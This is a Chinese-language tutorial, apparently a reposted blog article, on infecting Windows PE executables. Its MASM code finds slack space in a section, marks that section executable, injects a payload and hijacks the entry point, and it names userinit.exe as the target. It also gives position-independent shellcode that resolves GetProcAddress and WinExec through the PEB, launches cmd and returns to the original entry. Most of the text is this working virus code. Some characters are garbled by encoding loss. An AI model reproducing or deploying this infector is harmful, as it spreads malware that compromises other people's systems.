感染PE檔案的乙個簡單例項

2021-04-14 00:59:04 字數 4714 閱讀 9579

感染pe檔案的乙個簡單例項

.code

include addcode.a**

addcode.a**就是你要寫入檔案中的**,為了使他能夠正確執行,有乙個重定位的問題,這個到後面再講。

以上開啟要感染的檔案並將它對映到記憶體中去,沒什麼好講的。如果不會用,可以查微軟的msdn中的api參考。

下面開始分析pe格式,尋找節中可插入**的空間。

#define image_sizeof_short_name              8

typedef struct _image_section_header misc;

dword   virtualaddress;

dword   sizeofrawdata;

dword   pointertorawdata;

dword   pointertorelocations;

dword   pointertolinenumbers;

word    numberofrelocations;

word    numberoflinenumbers;

dword   characteristics;

} image_section_header, *pimage_section_header;

這是從sdk中複製的image_section_header的定義,這裡解釋一下幾個重要的成員的含義。virtualsize是這個節的真實長度,sizeofrawdata是這個節在經過長度對齊這後的長度(為了裝載的方便,編譯器在鏈結生成pe檔案的時候,會按照一定長度的倍數對**進行對齊,不用的空閒空間用0填充。我們的**就儲存在這些間隙中)。pointertorawdata是節在檔案中的偏移。virtualaddress是節的rva,它加上裝載的基位址就是它被載入到記憶體後的位址。

來看**:

.if eax

mov lpfile,eax

mov esi,eax

add esi,(image_dos_header ptr [esi]).e_lfanew

assume esi:ptr image_nt_headers

mov ebx,esi

add ebx,sizeof image_nt_headers

assume ebx:ptr image_section_header

xor eax,eax

.while ax < [esi].fileheader.numberofsections ;迴圈所有節

mov ecx,[ebx].sizeofrawdata

.if ecx

sub ecx,[ebx].misc.virtualsize

.if ecx >= add_code_length ;如果有足夠的多餘空間則新增**

jmp @f

.endif

.endif

add ebx,sizeof image_section_header

inc ax

.endw

它檢查節中的空閒空間是否足夠儲存要插入的**,夠就插入**。

@@: mov eax,[ebx].virtualaddress

add eax,[ebx].misc.virtualsize

mov lpcoderva,eax  ;新增的**的rva

mov eax,[ebx].pointertorawdata

add eax,[ebx].misc.virtualsize

mov lpcodeoffs,eax   ;新增的**的檔案偏移

or [ebx].characteristics,image_scn_mem_read or image_scn_mem_execute ;給節加上可讀和可執行屬性

add [ebx].misc.virtualsize,add_code_length ;修正節的實際大小

add eax,lpfile

invoke rtlmovememory,eax,offset add_code_start,add_code_length ;將**複製到userinit.exe中

mov edi,[esi].optionalheader.addressofentrypoint

add edi,[esi].optionalheader.imagebase ;儲存原入口點位址

push lpcoderva

pop [esi].optionalheader.addressofentrypoint ;設定新的入口點

mov eax,lpcodeoffs

add eax,lpfile  ;定位到記憶體對映中的**插入位置

add eax,offset oldentryaddr - offset add_code_start ;定位到oldentryaddr標號處

mov [eax],edi ;將原入口點寫到addcode.a**最後的dd ?中

對照上面的圖應該很容易就能夠看懂**,而且注釋寫得很詳細,就不再解釋了。要注意的是不要忘了修改節的屬性,有些節是不具有可執行屬性的,如果你嘗試執行它會導致程式崩潰。最後記住做一些首尾工作,關閉開啟的各個檔案。為了突出問題,我就省略了。

好了,再來看看插入的**,例子中它儲存在乙個單獨的檔案addcode.a**中。

add_code_start equ this byte

assume fs:flat

mov eax,fs:[30h]

mov eax,[eax + 0ch]

mov esi,[eax + 1ch]

lodsd

mov edx,[eax + 8h]   ;得到kernel32基址

mov eax,(image_dos_header ptr [edx]).e_lfanew ;得到image_nt_headers位址

mov eax,(image_nt_headers ptr [edx + eax]).optionalheader.datadirectory.virtualaddress ;得到匯出表rva

add eax,edx     ;匯出表在記憶體的實際位址

assume eax:ptr image_export_directory

mov esi,[eax].addressofnames

add esi,edx

push 00007373h ;在堆疊中構造getprocaddress

push 65726464h

push 41636f72h

push 50746547h

push esp

xor ecx,ecx

.repeat

mov edi,[esi]

add edi,edx

push esi

mov esi,[esp + 4]

push ecx

mov ecx,0fh ;getprocaddress的長度,包括0

repz cmpsb

.break .if zero? ;找到跳出迴圈

pop ecx

pop esi

add esi,4

inc ecx

.until ecx >= [eax].numberofnames

pop ecx

mov esi,[eax].addressofnameordinals

add esi,edx

movzx ecx,word ptr [esi + ecx*2] ;取出序數

mov esi,[eax].addressoffunctions

assume eax:nothing

add esi,edx

mov esi,[esi + ecx*4]

add esi,edx ;得到getprocaddress位址

push 00636578h ;在棧中構造winexec

push 456e6957h

push esp

push edx

call esi ;呼叫getprocaddress獲取winexec位址

push 00444d43h ;;在棧中構造cmd

push esp

push sw_show

push [esp + 4]

call eax ;呼叫winexec

db 68h  ;push ******xx指令機器碼的第1個位元組

oldentryaddr:

dd ? ;這4個位元組用於儲存原入口點,和上面的1個位元組組成一條完整的push 原入口點指令

jmp dword ptr [esp] ;跳到原入口點

add_code_end equ this byte

add_code_length equ offset add_code_end - offset add_code_start ;**大小

首先必須獲得kernel32.dll的位址,然後分析pe檔案,從匯入表中得到loadlibrary()和getprocaddress()的位址,之後就可以任意使用其他dll匯入的函式了。

解釋一下獲取kernel32.dll基位址的原理。每個程序都有乙個稱為peb(程序環境塊)的資料結構,我們就通過它來獲取。這種方法比較通用,適合nt/2k/xp/2003(不適合vista,它的動態庫對映位址是不確定的),fs儲存的段描述符指向執行緒環境塊teb,在它的偏移30h處是乙個指向peb的指標,通過它的乙個成員就可以取得kernel32.dll的基位址。這是乙個固定的模式,可以直接當作結論拿來用。如果想搞得更清楚一點,可以檢視ddk中ppeb結構的定義。

就到這裡,最後說一下,這裡的例項**取自《黑客防線》十月份的雜誌。

原創 手寫乙個PE檔案

手寫乙個pe檔案,首先要對pe檔案有乙個基本的了解。這裡使用的工具是hex workshop6.5。一 開始為乙個結構體,我們來看一下 typedef struct image dos header image dos header,pimage dos header 首先e magic應為0x5a...

乙個簡單的檔案讀寫例項

1.開啟檔案與關閉檔案 1 linux中的檔案描述符fd的合法範圍是0或者乙個正正數,不可能是乙個負數。2 open返回的fd程式必須記錄好,以後向這個檔案的所有操作都要靠這個fd去對應這個檔案,最後關閉檔案時也需要fd去指定關閉這個檔案。如果在我們關閉檔案前fd丟掉了那就慘了,這個檔案沒法關閉了也...

乙個簡單的爬蟲例項

獲取網頁html文字內容 usr bin python coding utf 8 import urllib import re 根據url獲取網頁html內容 defgethtmlcontent url page urllib.urlopen url return page.read 從html中...